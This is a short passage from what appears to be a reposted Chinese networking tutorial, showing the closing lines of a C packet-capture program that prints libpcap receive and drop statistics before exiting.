    printf("%d packets received by filter\n",stat.ps_recv);
    printf("%d packets dropped by kernel\n",stat.ps_drop);
    exit(0);
}
           

转自:相关网络课件

继续阅读